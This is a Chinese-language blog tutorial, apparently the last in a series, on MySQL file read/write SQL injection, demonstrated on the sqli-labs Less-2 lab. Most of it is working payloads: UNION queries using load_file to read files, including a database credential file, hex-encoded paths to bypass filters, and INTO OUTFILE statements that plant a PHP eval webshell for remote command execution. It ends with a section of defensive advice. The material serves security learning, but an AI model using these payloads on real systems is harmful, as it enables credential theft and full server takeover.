这是高权限注入系列的最后一篇:文件读写注入 。当我们拿到 MySQL 的root 权限 后,除了跨库偷数据,最核心的攻击手段就是利用数据库的文件读写权限,读取服务器敏感配置 、写入 Webshell 拿服务器权限。
这篇博客结合 sqli-labs 靶场实操,从原理、条件、读取 / 写入函数到最终写 Shell 拿服务器,完整复盘每一个细节,既是自己的学习总结,也给入门的小伙伴一份可直接复刻的实战指南。
一、核心原理:高权限注入的终极形态 ------ 文件读写
🗣️ 大白话解释
普通注入只是 "偷数据",而高权限文件读写注入是直接 "拿服务器的钥匙":
- 读取文件:利用 root 权限,读取服务器上的敏感配置文件(比如数据库密码、网站配置、Linux 系统配置);
- 写入文件 :利用 root 权限,向 Web 目录写入一句话木马 ,攻击者通过木马就能直接控制服务器,实现从 "数据库权限" 到 "服务器权限" 的跨越。

🔑 核心前提(缺一不可)
高权限文件读写注入不是想做就能做,必须满足两个硬性条件:
- 拥有 root 等高权限 :拥有
FILE权限,且secure_file_priv配置未限制读写; - 知道网站绝对路径:明确要读取 / 写入的文件在服务器的具体位置。
二、关键配置:secure_file_priv(文件读写的 "通行证")
MySQL 高版本(5.7+)新增了secure_file_priv全局变量,严格限制文件读写的权限,这是文件读写注入的核心开关。
2.1 查看secure_file_priv状态
show global variables like '%secure%';
三种配置状态(对应图片内容)
| 配置值 | 含义 | 能否文件读写 |
|---|---|---|
secure_file_priv=(空) |
无限制,可读写任意路径 | ✅ 可以(root 权限下) |
secure_file_priv=NULL |
禁止所有文件读写 | ❌ 不行 |
secure_file_priv=指定路径 |
仅允许读写该路径下的文件 | ❌ 只能在指定路径读写 |
实操验证
在 MySQL 命令行执行上述语句,会看到:
secure_file_priv为空 → 无限制,可进行任意路径读写;secure_file_priv=具体路径→ 限制读写范围。
三、靶场实操:root 权限下的文件读取
我们继续用 sqli-labs Less-2(root 权限注入),演示读取任意文件的全流程。
3.1 读取普通文件(读取服务器本地文件)
核心函数:load_file('文件路径')
作用:读取服务器上的文件内容,通过union回显到页面。
实操步骤(对应图片)
步骤 1:读取普通文本文件(D:/d.txt)
-
路径注意:Windows 用正斜杠
/,反斜杠\是转义符,必须转义为\\; -
构造注入语句(URL 编码):
id=-1%20union%20select%201,load_file('D:/d.txt'),3 -

-
页面回显:成功读取
d.txt内容(如图片中显示的11111)。
步骤 2:16 进制绕过路径过滤1
如果路径中的特殊字符被过滤,可将路径转 16 进制:
-
路径
d:/d.txt→ 16 进制0x643a2f642e747874; -
构造语句:
id=-1%20union%20select%201,load_file(0x643a2f642e747874),3 -

-
页面成功回显文件内容(111111),完美绕过单引号 / 特殊字符过滤。
3.2 读取敏感配置文件(读取网站核心密码)
核心目标:读取网站的数据库配置文件,获取账号密码(如db-creds.inc)
步骤 1:获取网站绝对路径
常见环境的绝对路径(对应图片):
| 系统 | 集成环境 | 网站根目录路径 |
|---|---|---|
| Windows | phpstudy | phpstudy/www |
| Windows | xampp | xampp/htdocs |
| Windows | wamp | wamp/www |
| Linux | 通用 | /var/www/html |
步骤 2:读取敏感配置文件
以 phpstudy 为例,读取db-creds.inc(数据库账号密码文件):
-
构造语句:
id=-1%20union%20select%201,load_file('D:/phpstudy_pro/WWW/sqli-labs-master/sql-connections/db-creds.inc'),3 -

-
页面回显:直接拿到 root 账号密码(
$dbuser='root'; $dbpass='root';),完成敏感信息窃取。
3.3 路径获取的常见方式
如果不知道网站路径,可通过以下方式获取:

- 报错泄露:故意输入错误参数,让页面报错,泄露绝对路径;
- 遗留文件 :扫描网站目录下的遗留文件(如
phpinfo.php),获取路径; - 平台配置:通过搜索引擎 / 公开漏洞报告,获取常见集成环境的默认路径。
例如


四、靶场实操:root 权限下的文件写入
拿到 root 权限且secure_file_priv无限制后,可向服务器写入文件,写入一句话木马是最终目标(拿服务器权限)。
4.1 写入文件的核心函数
| 函数 | 特点 | 适用场景 |
|---|---|---|
into outfile |
支持多行写入,按格式输出 | 写入一句话木马、多行文本 |
into dumpfile |
仅支持单行写入,无格式 | 写入二进制文件(如图片) |
关键限制
into outfile的路径必须是单引号路径,不能用 16 进制 /char 转换;- 写入路径必须满足
secure_file_priv限制。
4.2 写入一句话木马(终极操作,拿服务器权限)
核心思路
向 Web 目录写入PHP 一句话木马,攻击者通过访问木马文件,即可远程控制服务器。
实操步骤
步骤 1:构造一句话木马
<?php eval($_POST['cmd']);?>
步骤 2:写入文件(Web 目录)
以 phpstudy 为例,写入D:/d.txt(临时测试):
-
构造语句:
id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/d.txt' -
页面执行成功,
d.txt被写入木马代码。
步骤 3:写入 Web 目录(实战)
写入网站 Web 根目录的shell.php:
-
构造语句:
id=-1%20union%20select%201,'<?php eval($_POST["cmd"]);?>',3%20into%20outfile%20'D:/phpstudy_pro/WWW/shell.php' -
访问
http://localhost/sqli-labs-master/shell.php,通过 POST 参数cmd执行系统命令,成功拿到服务器权限。
或者写入几句数字和字符串到目标文件:
注意: MySQL 语法要求:LIMIT 必须放在 INTO OUTFILE 之前。 这里直接删除
id=-1 union select 1,'mc',3 into outfile 'D:/d.txt'

写入成功
五、知识点归纳与避坑(核心易错点)
5.1 路径易错点(必看!)
- Windows 路径 :必须用
/,\是转义符,错误写法\d:\d.txt,正确写法d:/d.txt或d:\\d.txt; - Linux 路径 :直接用
/,如/var/www/html/conf.php。 
5.2 函数使用区别
| 操作 | 推荐函数 | 路径要求 |
|---|---|---|
| 读取文件 | load_file() |
支持 16 进制 / 单引号 |
| 写入木马 | into outfile |
必须单引号路径 |
| 写入二进制 | into dumpfile |
单行,无格式 |
5.3 高权限注入危害总结
| 操作 | 危害 |
|---|---|
| 读取文件 | 窃取数据库密码、网站配置、系统敏感文件 |
| 写入木马 | 远程控制服务器,执行系统命令、上传下载文件 |
| 跨库注入 | 窃取同服务器所有网站数据 |
六、企业级防御方案(彻底杜绝高权限注入)
6.1 核心防御:最小权限原则
- 绝对禁止 Web 应用使用 root 账号连接 MySQL;
- 给每个 Web 应用创建专用低权限账号 ,仅授予
SELECT/INSERT/UPDATE/DELETE权限,不给 FILE 权限。
6.2 配置加固
-
严格设置
secure_file_priv:ini
secure_file_priv=NULL # 禁止文件读写 # 或指定安全路径 secure_file_priv=/var/mysql/data/ -
隐藏错误信息,避免泄露网站绝对路径。
6.3 代码层面
- 使用参数化查询(PDO/MySQLi),杜绝 SQL 拼接;
- 过滤用户输入中的特殊字符(
union/load_file/into等)。
6.4 服务器层面
- 严格限制 Web 目录的写入权限,禁止 Web 目录执行脚本;
- 定期审计
mysql.user表,删除高危权限用户。
七、学习复盘(写给自己,也给入门的你)
这是高权限注入系列的最后一篇,至此我们完整掌握了 SQL 注入的全流程:
- 普通注入:判断注入→猜列数→回显位→脱库(偷当前网站数据);
- 高权限跨库注入:root 权限→枚举所有库→跨库脱库(偷同服务器所有网站数据);
- 高权限文件读写注入:读取敏感文件→写入 Webshell(从数据库权限到服务器权限)。
高权限注入的核心是权限 :root 权限是 MySQL 的最高权限,拥有它就等于拥有了整个数据库服务器的控制权。而防御的核心,就是最小权限原则------ 不给 Web 应用 root 权限,不给 FILE 权限,从根源上杜绝文件读写注入。